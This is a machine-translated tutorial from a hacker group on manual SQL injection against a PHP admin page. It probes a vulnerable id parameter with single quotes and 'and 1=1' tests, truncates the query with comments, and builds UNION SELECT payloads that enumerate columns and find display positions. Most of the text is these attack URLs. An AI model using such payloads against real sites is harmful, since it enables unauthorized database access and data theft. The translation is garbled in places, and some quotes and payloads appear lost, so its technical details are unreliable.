Solve a problem encountered in php Injection

Ps: www.2cto.com replaces the specific website. Do not misunderstand

This problem was originally encountered many days ago, but it has been very busy and basically has no time to access the Internet, so I put it down first. Now it's a little time, so I will summarize it.
For the first time, you have to criticize and advise me ~~~

Now, let's start the text.

From: XI ke Information Technology-hacker operation camp
::{ Silic Group Hacker Army }::
Site: http://blackbap.org

Most of our injection operations cannot be successful as we wish, and we often encounter one or another problems. For example:
Http://www.bkjia.com/admin/show.php? Id = 228

You will find that, according to our regular judgment of the injection method, that is, adding a single quotation mark, the returned error page is displayed as follows:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 228 at line 1

Let's take a look at it again with and 1 = 1 and and1 = 2.
Http://www.bkjia.com/admin/show.php? Id = 228 + and + 1 = 1
Returning the correct page is a good phenomenon.
Http://www.bkjia.com/admin/show.php? Id = 228 + and + 1 = 2
This also returns the correct page, which makes it hard for me to understand...
What should we do now? Now let's take a look at the page with an error in single quotes and see what Echo says.

Near 1, 228

OK. Remove a pair of quotation marks after near. The following part of this SQL statement is: 228
Yes! A single quotation mark is added! This single quotation mark is the one we just added.
Now we have at least fixed a problem: the single quotation marks we entered have been taken into the SQL statement for execution. That is to say, this is indeed an injection. Now we can try to construct the injection statement.

How can an injection statement be constructed? In a normal SQL statement, the following content is: [228]. When we add [and 1 = 2] After the url, the program takes the [and 1 = 2] part when the error parameter is introduced into the SQL statement. At this time, the part after the SQL statement is [228 and 1 = 2], instead of the [228 and 1 = 2] We want. Then, is there no way for us? Obviously not. You only need to add a single quotation mark after url id = 228, and then enter other content ~ If we construct in the url like this :[...... Id = 228 + our injection statement]. In this way, the subsequent part of the SQL statement becomes [228 + our injection statement]. As for the single quotation marks left behind, it is better to do so, you can directly annotate it. In this case, the injection statement can be executed smoothly ~
Well, according to the above analysis, we have constructed the following url:
Http://www.bkjia.com/admin/show.php? Id = 228 + and + 1 = 2 /*

Visit in the browser and finally see the long-awaited error page. Now we have succeeded more than half of it!
In fact, we can use the single quotation mark at the end without comments:
Http://www.bkjia.com/admin/show.php? Id = 228 + and + 1 = 2

Now, it is much easier to construct an injection statement. It is used to construct a joint query statement.
Http://www.bkjia.com/admin/show.php? Id = 228 + union + select + 1, 2, 3, 4 /*

Let's see what Echo says:

The used SELECT statements have a different number of columns

The number of fields is incorrect. This indicates that the joint query statement has been successfully executed! The next thing is to guess the field and table segments. It should be noted that, when you guess the number of fields and then query the table segment, you should let the previous error find the display bit, but now we have saved and 1 = 2, is there no way? Of course not. We can change the parameter to a negative number to cause the preceding error and execute the following part so that we can find the display bit:
Http://www.bkjia.com/admin/show.php? Id = 228 + union + select + /*
Http://www.bkjia.com/admin/show.php? Id =-1 + union + select + 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 /*